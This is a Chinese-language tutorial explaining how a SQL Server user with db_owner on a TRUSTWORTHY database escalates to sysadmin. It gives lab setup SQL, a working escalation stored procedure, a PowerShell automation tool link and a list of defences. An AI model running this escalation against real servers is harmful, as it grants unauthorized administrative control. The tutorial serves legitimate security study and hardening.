利用mssql受信用数据库提权
字数 1000 2025-08-20 18:17:47
MSSQL受信用数据库提权技术详解
0x01 前提条件
要进行MSSQL受信用数据库提权,需要满足以下条件:
- 已获取一个SQL Server用户的凭据(用户名和密码)
- 该用户对某个数据库拥有
db_owner权限 - 该数据库被设置为
TRUSTWORTHY(受信用)
0x02 环境准备
1. 创建测试数据库
CREATE DATABASE MyTestdb01
SELECT suser_sname(owner_sid) FROM sys.databases WHERE name = 'MyTestdb01'
2. 创建测试用户
CREATE LOGIN MyAppUser01 WITH PASSWORD = 'MyPassword!';
此时用户默认为public角色
3. 分配db_owner权限
USE MyTestdb01
ALTER LOGIN [MyAppUser01] with default_database = [MyTestdb01];
CREATE USER [MyAppUser01] FROM LOGIN [MyAppUser01];
EXEC sp_addrolemember [db_owner], [MyAppUser01];
4. 验证用户权限
SELECT rp.name as database_role, mp.name as database_user
FROM sys.database_role_members drm
JOIN sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
JOIN sys.database_principals mp ON (drm.member_principal_id = mp.principal_id)
5. 设置数据库为受信用
ALTER DATABASE MyTestdb01 SET TRUSTWORTHY ON
6. 验证数据库信任状态
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
结果中1表示受信用
7. 启用xp_cmdshell(可选)
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
0x03 提权过程
1. 确认当前权限
使用MyAppUser01用户登录后,检查当前权限:
SELECT IS_SRVROLEMEMBER('sysadmin')
2. 创建提权存储过程
USE MyTestdb01
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser01','sysadmin'
GO
关键点:
WITH EXECUTE AS OWNER:使存储过程以数据库所有者身份执行sp_addsrvrolemember:将用户添加到服务器角色
3. 执行提权
USE MyTestdb01
EXEC sp_elevate_me
4. 验证提权结果
SELECT IS_SRVROLEMEMBER('sysadmin')
或查看用户属性确认已获得sysadmin权限
0x04 自动化工具
可使用PowerShell脚本自动化此过程:
Invoke-SqlServer-Escalate-Dbowner -SqlUser MyAppUser01 -SqlPass "MyPassword!" -SqlServerInstance WIN-80LVKKRM5UA
脚本地址:https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
0x05 技术原理
- TRUSTWORTHY属性:当数据库设置为TRUSTWORTHY时,其所有者(通常是sysadmin)授予该数据库中的代码执行权限
- EXECUTE AS OWNER:允许存储过程以数据库所有者身份执行,而所有者通常是sysadmin
- 权限链:通过存储过程调用系统存储过程(sp_addsrvrolemember)时,会继承所有者权限
0x06 防御措施
- 限制db_owner权限的分配
- 避免设置TRUSTWORTHY ON,除非绝对必要
- 使用代码签名替代TRUSTWORTHY
- 定期审计数据库权限设置
- 监控可疑的权限变更操作